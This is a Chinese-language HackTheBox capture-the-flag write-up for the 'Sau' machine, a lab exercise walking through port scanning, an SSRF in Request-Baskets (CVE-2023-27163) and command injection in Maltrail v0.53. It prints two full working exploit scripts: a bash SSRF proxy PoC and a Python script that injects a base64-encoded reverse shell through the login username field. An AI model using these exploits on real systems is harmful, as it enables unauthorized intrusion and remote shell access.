HackTheBox系列-Sau

Sau

0x01 信息收集

1、使用nmap进行端口扫描

nmap -p- --min-rate 10000 10.10.11.224
nmap -sV -sC -A -p 22,80,8338,55555 10.10.11.224

HackTheBox系列-Sau_第1张图片

2、发现除了22端口ssh外,唯一开放的端口55555上跑着Http服务,使用浏览器进行访问发现是一个request-baskets | Version: 1.2.1 的服务

HackTheBox系列-Sau_第2张图片

3、使用google进行搜索关于该版本的漏洞信息,发现其存在一个CVE-2023-27163的SSRF漏洞

Request Baskets 是一项 Web 服务,旨在捕获任意 HTTP 请求并通过 RESTful API 或简单的 Web 用户界面方便对其进行检查。

该服务从RequestHub项目的概念和应用程序设计原则中汲取灵感,并重新创建了RequestBin服务之前提供的功能。

CVE-2023–27163 代表请求篮中发现的严重服务器端请求伪造 (SSRF) 漏洞,影响 1.2.1 及之前的所有版本< /span>/api/baskets/{name} 组件,从而获得对网络资源和敏感信息的未经授权的访问。.此特定漏洞使恶意行为者能够通过精心设计的 API 请求利用

HackTheBox系列-Sau_第3张图片

0x02 User

1、Github中找到对该漏洞的详细描述和Poc

https://github.com/entr0pie/CVE-2023-27163
#!/bin/bash

echo -e "Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163\n";

if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
    help="Usage: CVE-2023-27163.sh  \n\n";
    help+="This PoC will create a vulnerable basket on a Request-Baskets (<= 1.2.1) server,\n";
    help+="which will act as a proxy to other services and servers.\n\n";
    help+="Arguments:\n" \
    help+=" URL            main path (/) of the server (eg. http://127.0.0.1:5000/)\n";
    help+=" TARGET         r-baskets target server (eg. https://b5f5-138-204-24-206.ngrok-free.app/)\n\n";
    help+="More info at https://github.com/entr0pie/CVE-2023-27163.";

    echo -e "$help";
    exit 1;
fi

URL=$1
ATTACKER_SERVER=$2

if [ "${URL: -1}" != "/" ]; then
    URL="$URL/";
fi;

BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");

API_URL="$URL""api/baskets/$BASKET_NAME";

PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";

echo "> Creating the \"$BASKET_NAME\" proxy basket...";

if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then
    echo "> FATAL: Could not properly request $API_URL. Is the server online?";
    exit 1;
fi;

BASKET_URL="$URL$BASKET_NAME";

echo "> Basket created!";
echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";

if ! jq --help 1>/dev/null; then
    echo "> Response body (Authorization): $response";
else
    echo "> Authorization: $(echo "$response" | jq -r ".token")";
fi;

exit 0;

2、端口扫描发现目标还开放着80端口(http服务)但却无法访问,执行Poc去创建一个用来代理请求80端口的Request-Baskets,通过 SSRF 漏洞在服务器内部重定向请求的方式,来尝试达到访问80端口网页的目的

HackTheBox系列-Sau_第4张图片

3、创建成功后使用浏览器访问http://10.10.11.224:55555/wmddke,服务器将会发起对80端口的请求

HackTheBox系列-Sau_第5张图片

4、在页面左下角提示该服务为 Maltrail 版本 v0.53,在该版本中存在一个RCE漏洞

https://github.com/spookier/Maltrail-v0.53-Exploit

该脚本需要三个参数:反向 shell 应连接回的 IP 地址(侦听 IP)、反向 shell 应连接的端口号(侦听端口)以及目标系统的 URL

脚本需要安装curl

python3 exploit.py [listening_IP] [listening_PORT] [target_URL]
例如:

python3 exploit.py 1.2.3.4 1337 http://example.com
'''
  ██████  ██▓███   ▒█████   ▒█████   ██ ▄█▀ ██▓▓█████  ██▀███  
▒██    ▒ ▓██░  ██▒▒██▒  ██▒▒██▒  ██▒ ██▄█▒ ▓██▒▓█   ▀ ▓██ ▒ ██▒
░ ▓██▄   ▓██░ ██▓▒▒██░  ██▒▒██░  ██▒▓███▄░ ▒██▒▒███   ▓██ ░▄█ ▒
  ▒   ██▒▒██▄█▓▒ ▒▒██   ██░▒██   ██░▓██ █▄ ░██░▒▓█  ▄ ▒██▀▀█▄  
▒██████▒▒▒██▒ ░  ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓  ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒  ░ ░░▒ ░       ░ ▒ ▒░   ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░  ░  ░▒ ░ ▒░
░  ░  ░  ░░       ░ ░ ░ ▒  ░ ░ ░ ▒  ░ ░░ ░  ▒ ░   ░     ░░   ░ 
      ░               ░ ░      ░ ░  ░  ░    ░     ░  ░   ░     
'''

import sys;
import os;
import base64;

def main():
  listening_IP = None
  listening_PORT = None
  target_URL = None

  if len(sys.argv) != 4:
    print("Error. Needs listening IP, PORT and target URL.")
    return(-1)
  
  listening_IP = sys.argv[1]
  listening_PORT = sys.argv[2]
  target_URL = sys.argv[3] + "/login"
  print("Running exploit on " + str(target_URL))
  curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url):
  payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
  encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
  command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
  os.system(command)

if __name__ == "__main__":
  main()

5、本地使用nc监听1234端口,执行Poc获取flag

HackTheBox系列-Sau_第6张图片

0x03 Root

1、升级交互式shell,查看当前用户可以root权限执行哪些服务

HackTheBox系列-Sau_第7张图片

2、发现sudo可以执行systemctl,利用其进行提权获取root权限
HackTheBox系列-Sau_第8张图片HackTheBox系列-Sau_第9张图片

你可能感兴趣的:(HackTheBox,网络安全,靶机,HTB,漏洞复现)